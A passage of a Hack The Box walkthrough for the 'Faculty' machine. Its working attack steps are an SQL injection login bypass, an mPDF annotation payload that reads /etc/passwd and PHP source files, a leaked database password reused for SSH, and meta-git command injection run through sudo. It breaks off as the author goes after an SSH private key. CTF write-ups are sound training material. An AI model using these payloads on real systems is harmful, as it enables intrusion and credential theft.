80/tcp open http nginx 1.18.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Did not follow redirect to http://faculty.htb
|_http-server-header: nginx/1.18.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>
<p>We only have two open ports on this box. There’s a redirect to a DNS name so let’s add that to our hosts file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# <span class="nb">echo</span> <span class="s2">"10.10.11.169 faculty.htb"</span> <span class="o">>></span> /etc/hosts
</code></pre></div></div>
<p>Now we can look at the website:</p>
<p><img src="/assets/images/2022-07-18-23-13-15.png" alt="faculty-in-number" /></p>
<h2 id="feroxbuster">Feroxbuster</h2>
<p>We don’t have a Faculty ID, let’s have a look for subfolders with Feroxbuster:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# feroxbuster <span class="nt">-u</span> http://faculty.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__<span class="o">)</span> |__<span class="o">)</span> | / <span class="sb">`</span> / <span class="se">\ \_</span>/ | | <span class="se">\ </span>|__
| |___ | <span class="se">\ </span>| <span class="se">\ </span>| <span class="se">\_</span>_, <span class="se">\_</span>_/ / <span class="se">\ </span>| |__/ |___
by Ben <span class="s2">"epi"</span> Risher 🤓 ver: 2.7.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://faculty.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ <span class="o">[</span>200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout <span class="o">(</span>secs<span class="o">)</span> │ 7
🦡 User-Agent │ feroxbuster/2.7.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ <span class="o">[</span>GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press <span class="o">[</span>ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
301 GET 7l 12w 178c http://faculty.htb/admin <span class="o">=></span> http://faculty.htb/admin/
302 GET 359l 693w 0c http://faculty.htb/ <span class="o">=></span> login.php
301 GET 7l 12w 178c http://faculty.htb/mpdf <span class="o">=></span> http://faculty.htb/mpdf/
301 GET 7l 12w 178c http://faculty.htb/mpdf/qrcode <span class="o">=></span> http://faculty.htb/mpdf/qrcode/
</code></pre></div></div>
<p>We see a couple of interesting folders. Admin an obvious starting point, and mpdf which I’ve not seen before.</p>
<h2 id="sqli-bypass">SQLi Bypass</h2>
<p>Admin takes us to a login page which we can bypass with a simple SQL injection:</p>
<p><img src="/assets/images/2022-07-18-23-21-52.png" alt="faculty-sqli" /></p>
<p>We are inside the scheduling system:</p>
<p><img src="/assets/images/2022-07-18-23-31-43.png" alt="faculty-dashboard" /></p>
<h2 id="mpdf">mPDF</h2>
<p>Looking around there’s sections for courses, subjects and staff. Each section has a PDF button to download the data:</p>
<p><img src="/assets/images/2022-07-18-23-37-22.png" alt="faculty-subject-list" /></p>
<p>Clicking the PDF button downloads the file:</p>
<p><img src="/assets/images/2022-07-18-23-39-00.png" alt="faculty-pdf-download" /></p>
<p>Looking at the PDF properties we see the version of mPDF used was 6.0. Let’s have a look in Burp when we download the PDF that gets generated:</p>
<p><img src="/assets/images/2022-07-18-23-52-43.png" alt="faculty-burp" /></p>
<h2 id="decoding-mpdf-string">Decoding mPDF String</h2>
<p>We can see a long string which is bas64 encoded, let’s decode:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# <span class="nb">echo</span> <span class="s2">"JTI1M0NoMSUyNTNFJTI1M0NhJTJCbmFtZSUyNTNEJTI1MjJ0b3AlMjUyMiUyNTNFJTI <SNIP> UzRSUyNTNDJTI1MkZ0YWJsZSUyNTNF"</span> | <span class="nb">base64</span> <span class="nt">-d</span>
%253Ch1%253E%253Ca%2Bname%253D%2522top%2522%253E%253C%252Fa%253Efaculty.htb%253C%252Fh1%253E%253Ch2%253<SNIP>Ftboby%253E%253C%252Ftable%253E
</code></pre></div></div>
<p>The output from that is URL encoded, let’s decode:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# python3 <span class="nt">-c</span> <span class="s2">"import urllib.parse; print(urllib.parse.unquote('%253Ch1%253E%253Ca%2Bname%253D%2522top%2522%253E%253C%252Fa%253Efaculty.htb%253C%252Fh1%253E%253Ch2%253ESubjects%253C%252Fh2%253E%253Ctable%253E%2509%25<SNIP>53C%252Ftboby%253E%253C%252Ftable%253E'))"</span>
%3Ch1%3E%3Ca+name%3D%22top%22%3E%3C%2Fa%3Efaculty.htb%3C%2Fh1%3E%3Ch2%3ESubjects%3C%2Fh2%3E%3Ctable%3E%09%3Cthead%3E%09%09%3Ctr%3E%09%09%09%3Cth+class%3D%22text-center%22%3E%23%3C%2Fth%3E%09%09%09%3Cth+class%3D%22text-left%22%3ESubject%3C%2Fth%3E%09%09%09%3Cth+class%3D%22text-left%22%3EDescription%3C%2Fth%3E%09%09%09%3C%2Ftr%3E%3C%2Fthead%3E%3Ctbody%3E%3Ctr%3E%3Ctd+class%3D%22text-center%22%3E1%3C%2Ftd%3E%3Ctd
<SNIP>
</code></pre></div></div>
<p>The output from that is also URL encoded, let’s decode:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# python3 <span class="nt">-c</span> <span class="s2">"import urllib.parse; print(urllib.parse.unquote('%3Ch1%3E%3Ca+name%3D%22top%22%3E%3C%2Fa%3Efaculty.htb%3C%2Fh1%3E%3Ch2%3ESubjects%3C%2Fh2%3E%3Ctable%3E%09%3Cthead%3E%09%09%3Ctr%3E%09%09%09%3Cth+class%3D%22text-center%22%3E%23%3C%2Fth%3E%09%09%09%3Cth+class%3D%22text-left%22%3ESubject%3C%2Fth%3E%09%09%09%3Cth<SNIP>3C%2Ftable%3E'))"</span>
<h1><a+name<span class="o">=</span><span class="s2">"top"</span><span class="o">></span></a>faculty.htb</h1><h2>Subjects</h2><table> <thead> <<span class="nb">tr</span><span class="o">></span> <th+class<span class="o">=</span><span class="s2">"text-center"</span><span class="o">></span><span class="c">#</th> <th+class="text-left">Subject</th> <th+class="text-left">Description</th> </tr></thead><tbody><tr><td+class="text-center">1</td><td+class="text-center"><b>DBMS</b></td><td+class="text-center"><small><b>Database+Management+System</b></small></td></tr><tr><td+class="text-center">2</td><td+class="text-center"><b>Mathematics</b></td><td+class="text-center"><small><b>Mathematics</b></small></td></tr><tr><td+class="text-center">3</td><td+class="text-center"><b>English</b></td><td+class="text-center"><small><b>English</b></small></td></tr><tr><td+class="text-center">4</td><td+class="text-center"><b>Computer+Hardware</b></td><td+class="text-center"><small><b>Computer+Hardware</b></small></td></tr><tr><td+class="text-center">5</td><td+class="text-center"><b>History</b></td><td+class="text-center"><small><b>History</b></small></td></tr></tboby></table></span>
</code></pre></div></div>
<p>We end up with HTML, if we open that in Firefox we can see its the same contents as the PDF that gets generated:</p>
<p><img src="/assets/images/2022-07-19-22-56-18.png" alt="faculty-html-output" /></p>
<p>So we can intercept the POST request in Burp and replace the PDF string with something of our own choosing.</p>
<h2 id="local-file-inclusion">Local File Inclusion</h2>
<p>Searching around I found <a href="https://stackoverflow.com/questions/52072279/adding-attachment-to-pdf-file-with-php-or-using-bash">this</a>, which says in version 6.0 you can attach files by using the Annotation() function. It gives this example of attaching a file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$mpdf</span>->Annotation<span class="o">(</span><span class="s2">"File annotation"</span>, 0, 0, <span class="s1">'Note'</span>, <span class="s1">''</span>, <span class="s1">''</span>, 0, <span class="nb">false</span>, <span class="s1">''</span>, <span class="s1">'assets/tiger.jpg'</span><span class="o">)</span><span class="p">;</span>
</code></pre></div></div>
<p>The mPDF docs <a href="https://mpdf.github.io/reference/mpdf-functions/annotation.html">here</a> also show how to use the Annotation function with files. Looking on the GitHub repo for mPDF I found <a href="https://github.com/mpdf/mpdf/issues/356">this</a> issue with an example of retrieving the passwd file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><annotation <span class="nv">file</span><span class="o">=</span><span class="s2">"/etc/passwd"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"/etc/passwd"</span> <span class="nv">icon</span><span class="o">=</span><span class="s2">"Graph"</span> <span class="nv">title</span><span class="o">=</span><span class="s2">"Attached File: /etc/passwd"</span> pos-x<span class="o">=</span><span class="s2">"195"</span> />
</code></pre></div></div>
<p>Let’s try it. We need to URL encode and then base64 encode, just like we did in reverse above:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# python3 <span class="nt">-c</span> <span class="s2">"import urllib.parse; print(urllib.parse.quote('<annotation file=</span><span class="se">\"</span><span class="s2">/etc/passwd</span><span class="se">\"</span><span class="s2"> content=</span><span class="se">\"</span><span class="s2">/etc/passwd</span><span class="se">\"</span><span class="s2"> icon=</span><span class="se">\"</span><span class="s2">Graph</span><span class="se">\"</span><span class="s2"> title=</span><span class="se">\"</span><span class="s2">Attached File: /etc/passwd</span><span class="se">\"</span><span class="s2"> pos-x=</span><span class="se">\"</span><span class="s2">195</span><span class="se">\"</span><span class="s2"> />'))"</span> | <span class="nb">base64
</span>JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGNvbnRlbnQlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGljb24lM0QlMjJHcmFwaCUyMiUyMHRpdGxlJTNEJTIyQXR0YWNoZWQlMjBGaWxlJTNBJTIwL2V0Yy9wYXNzd2QlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0UK
</code></pre></div></div>
<p>Here I’ve used Python to URL encode the example from above, then it gets base64 encoded. Now we need to log in to the Faculty site using our SQLi bypass:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">-b</span> <span class="s1">'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6'</span> <span class="nt">--data-binary</span> <span class="s1">$'username=pencer</span><span class="se">\'</span><span class="s1">+or+1%3D1%23&password='</span> <span class="s1">'http://faculty.htb/admin/ajax.php?action=login'</span>
HTTP/1.1 200 OK
Server: nginx/1.18.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
Date: Wed, 20 Jul 2022 15:59:58 GMT
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
1
</code></pre></div></div>
<p>We have a logged in session so we can send our base64 encoded payload from above:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">-b</span> <span class="s1">'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6'</span> <span class="nt">--data-binary</span> <span class="s1">'pdf=JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGNvbnRlbnQlM0QlMjIvZXRjL3Bhc3N3ZCUyMiUyMGljb24lM0QlMjJHcmFwaCUyMiUyMHRpdGxlJTNEJTIyQXR0YWNoZWQlMjBGaWxlJTNBJTIwL2V0Yy9wYXNzd2QlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0UK'</span> <span class="s1">'http://faculty.htb/admin/download.php'</span> <span class="nt">-o</span> -
HTTP/1.1 200 OK
Server: nginx/1.18.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
Date: Wed, 20 Jul 2022 16:03:08 GMT
Content-Type: text/html<span class="p">;</span> <span class="nv">charset</span><span class="o">=</span>UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
OK3RloLOTaYzJH4fv2SkD8pxWy.pdf
</code></pre></div></div>
<p>We have the pdf filename so let’s grab it before it gets removed:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# wget http://faculty.htb/mpdf/tmp/OK3RloLOTaYzJH4fv2SkD8pxWy.pdf
<span class="nt">--2022-07-20</span> 17:04:20-- http://faculty.htb/mpdf/tmp/OK3RloLOTaYzJH4fv2SkD8pxWy.pdf
Resolving faculty.htb <span class="o">(</span>faculty.htb<span class="o">)</span>... 10.10.11.169
Connecting to faculty.htb <span class="o">(</span>faculty.htb<span class="o">)</span>|10.10.11.169|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2576 <span class="o">(</span>2.5K<span class="o">)</span> <span class="o">[</span>application/pdf]
Saving to: ‘OK3RloLOTaYzJH4fv2SkD8pxWy.pdf’
OK3RloLOTaYzJH4fv2SkD8pxWy.pdf 100%[<span class="o">==============>]</span> 2.52K <span class="nt">--</span>.-KB/s <span class="k">in </span>0s
2022-07-20 17:04:20 <span class="o">(</span>380 MB/s<span class="o">)</span> - ‘OK3RloLOTaYzJH4fv2SkD8pxWy.pdf’ saved <span class="o">[</span>2576/2576]
</code></pre></div></div>
<h2 id="pdfdetach">PDFDetach</h2>
<p>We can use pdfdetach to get the attachment and then view it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# pdfdetach <span class="nt">-list</span> OK3RloLOTaYzJH4fv2SkD8pxWy.pdf
1 embedded files
1: passwd
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~]
└─# pdfdetach <span class="nt">-save</span> 1 OK3RloLOTaYzJH4fv2SkD8pxWy.pdf
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# <span class="nb">cat </span>passwd | <span class="nb">grep</span> <span class="s2">"bash"</span>
root:x:0:0:root:/root:/bin/bash
gbyolo:x:1000:1000:gbyolo:/home/gbyolo:/bin/bash
developer:x:1001:1002:,,,:/home/developer:/bin/bash
</code></pre></div></div>
<p>I repeated the above to look at default nginx configuration files but didn’t get very far. Back to the website, I created a new faculty member here:</p>
<p><img src="/assets/images/2022-07-20-22-44-25.png" alt="faculty-new-member" /></p>
<p>On the Schedule page I can view mine:</p>
<p><img src="/assets/images/2022-07-20-22-46-38.png" alt="faculty-view-schedule" /></p>
<h2 id="exploiting-faculty_id">Exploiting faculty_id</h2>
<p>If I capture that request to view my schedule in Burp we see there is a faculty_id:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>POST /admin/ajax.php?action=get_schecdule HTTP/1.1
Host: faculty.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 12
Origin: http://faculty.htb
Connection: close
Referer: http://faculty.htb/admin/index.php?page=schedule
Cookie: PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6
faculty_id=6
</code></pre></div></div>
<p>If I try that from a terminal with curl the response isn’t helpful:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# curl <span class="nt">-X</span> <span class="s1">$'POST'</span> <span class="nt">-b</span> <span class="s1">$'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6'</span> <span class="nt">--data-binary</span> <span class="s1">$'faculty_id=6'</span> <span class="s1">$'http://faculty.htb/admin/ajax.php?action=get_schecdule'</span>
<span class="o">[]</span>
</code></pre></div></div>
<p>If I change the faculty_id to text it causes a fatal error:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# curl <span class="nt">-X</span> <span class="s1">$'POST'</span> <span class="nt">-b</span> <span class="s1">$'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6'</span> <span class="nt">--data-binary</span> <span class="s1">$'faculty_id=pencer'</span> <span class="s1">$'http://faculty.htb/admin/ajax.php?action=get_schecdule'</span>
<br />
<b>Fatal error</b>: Uncaught Error: Call to a member <span class="k">function </span>fetch_assoc<span class="o">()</span> on bool <span class="k">in</span> /var/www/scheduling/admin/admin_class.php:370
Stack trace:
<span class="c">#0 /var/www/scheduling/admin/ajax.php(100): Action-&gt;get_schecdule()</span>
<span class="c">#1 {main}</span>
thrown <span class="k">in</span> <b>/var/www/scheduling/admin/admin_class.php</b> on line <b>370</b><br />
</code></pre></div></div>
<p>This has revealed the path to the website root. Let’s grab that admin_class.php file, first here’s our new payload:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><annotation <span class="nv">file</span><span class="o">=</span><span class="s2">"/var/www/scheduling/admin/admin_class.php"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"/var/www/scheduling/admin/admin_class.php"</span> <span class="nv">icon</span><span class="o">=</span><span class="s2">"Graph"</span> <span class="nv">title</span><span class="o">=</span><span class="s2">"Attached File: /var/www/scheduling/admin/admin_class.php"</span> pos-x<span class="o">=</span><span class="s2">"195"</span> />
</code></pre></div></div>
<p>Like before URL encode then base64 encode that payload then send to the server with curl. Retrieve the pdf, extract the attachment, and we can review that source code:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# python3 <span class="nt">-c</span> <span class="s2">"import urllib.parse; print(urllib.parse.quote('<annotation file=</span><span class="se">\"</span><span class="s2">/var/www/scheduling/admin/admin_class.php</span><span class="se">\"</span><span class="s2"> content=</span><span class="se">\"</span><span class="s2">/var/www/scheduling/admin/admin_class.php</span><span class="se">\"</span><span class="s2"> icon=</span><span class="se">\"</span><span class="s2">Graph</span><span class="se">\"</span><span class="s2"> title=</span><span class="se">\"</span><span class="s2">Attached File: /var/www/scheduling/admin/admin_class.php</span><span class="se">\"</span><span class="s2"> pos-x=</span><span class="se">\"</span><span class="s2">195</span><span class="se">\"</span><span class="s2"> />'))"</span> | <span class="nb">base64
</span>JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCUyMiUyMGNvbnRlbnQlM0QlMjIvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCUyMiUyMCUyMGljb24lM0QlMjJHcmFwaCUyMiUyMHRpdGxlJTNEJTIyQXR0YWNoZWQlMjBGaWxlJTNBJTIwL3Zhci93d3cvc2NoZWR1bGluZy9hZG1pbi9hZG1pbl9jbGFzcy5waHAlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0UK
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# curl <span class="nt">-i</span> <span class="nt">-s</span> <span class="nt">-k</span> <span class="nt">-X</span> POST <span class="nt">-b</span> <span class="s1">'PHPSESSID=8fpk0ldu1vns710k2eafmsf3s6'</span> <span class="nt">--data-binary</span> <span class="s1">'pdf=JTNDYW5ub3RhdGlvbiUyMGZpbGUlM0QlMjIvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCUyMiUyMGNvbnRlbnQlM0QlMjIvdmFyL3d3dy9zY2hlZHVsaW5nL2FkbWluL2FkbWluX2NsYXNzLnBocCUyMiUyMCUyMGljb24lM0QlMjJHcmFwaCUyMiUyMHRpdGxlJTNEJTIyQXR0YWNoZWQlMjBGaWxlJTNBJTIwL3Zhci93d3cvc2NoZWR1bGluZy9hZG1pbi9hZG1pbl9jbGFzcy5waHAlMjIlMjBwb3MteCUzRCUyMjE5NSUyMiUyMC8lM0UK'</span> <span class="s1">'http://faculty.htb/admin/download.php'</span> <span class="nt">-o</span> -
OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# wget http://faculty.htb/mpdf/tmp/OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf
<span class="nt">--2022-07-20</span> 23:01:20-- http://faculty.htb/mpdf/tmp/OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf
Resolving faculty.htb <span class="o">(</span>faculty.htb<span class="o">)</span>... 10.10.11.169
Connecting to faculty.htb <span class="o">(</span>faculty.htb<span class="o">)</span>|10.10.11.169|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4400 <span class="o">(</span>4.3K<span class="o">)</span> <span class="o">[</span>application/pdf]
Saving to: ‘OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf’
OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf 100%[<span class="o">================>]</span> 4.30K <span class="nt">--</span>.-KB/s <span class="k">in </span>0s
2022-07-20 23:01:20 <span class="o">(</span>413 MB/s<span class="o">)</span> - ‘OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf’ saved <span class="o">[</span>4400/4400]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# pdfdetach <span class="nt">-save</span> 1 OK3gSkwW7JXl5vjqdHeQU4hAsP.pdf
</code></pre></div></div>
<h2 id="code-review">Code Review</h2>
<p>We see another interesting file in here:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/faculty]
└─# cat admin_class.php
<span class="cp"><?php</span>
<span class="nb">session_start</span><span class="p">();</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'display_errors'</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
<span class="kd">Class</span> <span class="nc">Action</span> <span class="p">{</span>
<span class="k">private</span> <span class="nv">$db</span><span class="p">;</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">__construct</span><span class="p">()</span> <span class="p">{</span>
<span class="nb">ob_start</span><span class="p">();</span>
<span class="k">include</span> <span class="s1">'db_connect.php'</span><span class="p">;</span>
</code></pre></div></div>
<p>The db_connect.php file surely has something useful. Repeat the above process to get the file, and now we can look at it:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/faculty]
└─# cat db_connect.php
<span class="cp"><?php</span>
<span class="nv">$conn</span><span class="o">=</span> <span class="k">new</span> <span class="nc">mysqli</span><span class="p">(</span><span class="s1">'localhost'</span><span class="p">,</span><span class="s1">'sched'</span><span class="p">,</span><span class="s1">'Co.met06aci.dly53ro.per'</span><span class="p">,</span><span class="s1">'scheduling_db'</span><span class="p">)</span><span class="k">or</span> <span class="k">die</span><span class="p">(</span><span class="s2">"Could not connect to mysql"</span><span class="mf">.</span><span class="nf">mysqli_error</span><span class="p">(</span><span class="nv">$con</span><span class="p">));</span>
</code></pre></div></div>
<h2 id="user-access">User Access</h2>
<p>We have a password, and if you try it with the gbyolo user we found earlier we have SSH access:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/faculty]
└─# ssh gbyolo@10.10.11.169
gbyolo@10.10.11.169s password:
Welcome to Ubuntu 20.04.4 LTS <span class="o">(</span>GNU/Linux 5.4.0-121-generic x86_64<span class="o">)</span>
System information as of Thu Jul 21 00:11:23 CEST 2022
You have mail.
Last login: Wed Jul 20 21:33:39 2022 from 10.10.14.152
gbyolo@faculty:~<span class="nv">$ </span>
</code></pre></div></div>
<p>We have mail:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gbyolo@faculty:~<span class="nv">$ </span>mail
<span class="s2">"/var/mail/gbyolo"</span>: 6 messages 5 new 1 unread
U 1 developer@faculty. Tue Nov 10 15:03 16/623 Faculty group
<span class="o">></span>N 2 developer@faculty. Wed Jul 20 15:40 12/434 Output from your job 1
N 3 developer@faculty. Wed Jul 20 15:41 12/434 Output from your job 2
N 4 developer@faculty. Wed Jul 20 15:41 12/434 Output from your job 3
N 5 developer@faculty. Wed Jul 20 15:42 12/394 Output from your job 4
N 6 developer@faculty. Wed Jul 20 15:42 12/394 Output from your job 5
? 1
Return-Path: <developer@faculty.htb>
X-Original-To: gbyolo@faculty.htb
Delivered-To: gbyolo@faculty.htb
Received: by faculty.htb <span class="o">(</span>Postfix, from userid 1001<span class="o">)</span>
<span class="nb">id </span>0399E26125A<span class="p">;</span> Tue, 10 Nov 2020 15:03:02 +0100 <span class="o">(</span>CET<span class="o">)</span>
Subject: Faculty group
To: <gbyolo@faculty.htb>
X-Mailer: mail <span class="o">(</span>GNU Mailutils 3.7<span class="o">)</span>
Message-Id: <20201110140302.0399E26125A@faculty.htb>
Date: Tue, 10 Nov 2020 15:03:02 +0100 <span class="o">(</span>CET<span class="o">)</span>
From: developer@faculty.htb
X-IMAPbase: 1605016995 2
Status: O
X-UID: 1
Hi gbyolo, you can now manage git repositories belonging to the faculty group. Please check and <span class="k">if </span>you have troubles just <span class="nb">let </span>me know!<span class="se">\n</span>developer@faculty.htb
</code></pre></div></div>
<h2 id="meta-git">Meta-Git</h2>
<p>Interesting. Next we can check sudo permissions:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
Matching Defaults entries <span class="k">for </span>gbyolo on faculty:
env_reset, mail_badpass, <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin
User gbyolo may run the following commands on faculty:
<span class="o">(</span>developer<span class="o">)</span> /usr/local/bin/meta-git
</code></pre></div></div>
<p>I haven’t used meta-git before, looking on GitHub we see it’s description:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Manage your meta repo and child git repositories.
git plugin for meta.
</code></pre></div></div>
<h2 id="meta-git-rce">Meta-Git RCE</h2>
<p>A search for <strong>meta-git exploit</strong> finds <a href="https://snyk.io/advisor/npm-package/meta-git#security">this</a> on Synk.io which leads us to <a href="https://hackerone.com/reports/728040">this</a> on hackerone. We have a simple RCE exploit which we can combine with sudo permissions to execute as the developer user.</p>
<p>For instance we can look in the developer home folder with this:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo</span> <span class="nt">-u</span> developer /usr/local/bin/meta-git clone <span class="s1">'pencer | ls -lsa ~'</span>
</code></pre></div></div>
<p>Except it doesn’t work if we are still in the gbyolo users home folder:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span><span class="nb">pwd</span>
/home/gbyolo
<span class="nt">-bash-5</span>.0<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> developer /usr/local/bin/meta-git clone <span class="s1">'pencer | ls -lsa ~'</span>
meta git cloning into <span class="s1">'pencer | ls -lsa ~'</span> at pencer | <span class="nb">ls</span> <span class="nt">-lsa</span> ~
pencer | <span class="nb">ls</span> <span class="nt">-lsa</span> ~: <span class="nb">command</span> <span class="s1">'git clone pencer | ls -lsa ~ pencer | ls -lsa ~'</span> exited with error: Error: spawnSync /bin/sh EACCES
<span class="o">(</span>node:45847<span class="o">)</span> UnhandledPromiseRejectionWarning: Error: EACCES: permission denied, chdir <span class="s1">'/home/gbyolo/pencer | ls -lsa ~'</span>
</code></pre></div></div>
<p>So first move to /dev/shm then try again:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-bash-5</span>.0<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-u</span> developer /usr/local/bin/meta-git clone <span class="s1">'pencer | ls -lsa ~'</span>
<SNIP>
4 drwxr-xr-x 2 developer developer 4096 Jun 23 18:50 .ssh
8 <span class="nt">-rw-------</span> 1 developer developer 7220 Jul 21 20:27 .viminfo
4 <span class="nt">-rwxrwxr-x</span> 1 developer developer 65 Jul 21 20:27 sendmail.sh
4 <span class="nt">-rw-r-----</span> 1 root developer 33 Jul 21 10:56 user.txt
</code></pre></div></div>
<p>We see the user flag and a .ssh folder, let’s get the SSH private key so we can log in as the developer user:</p>
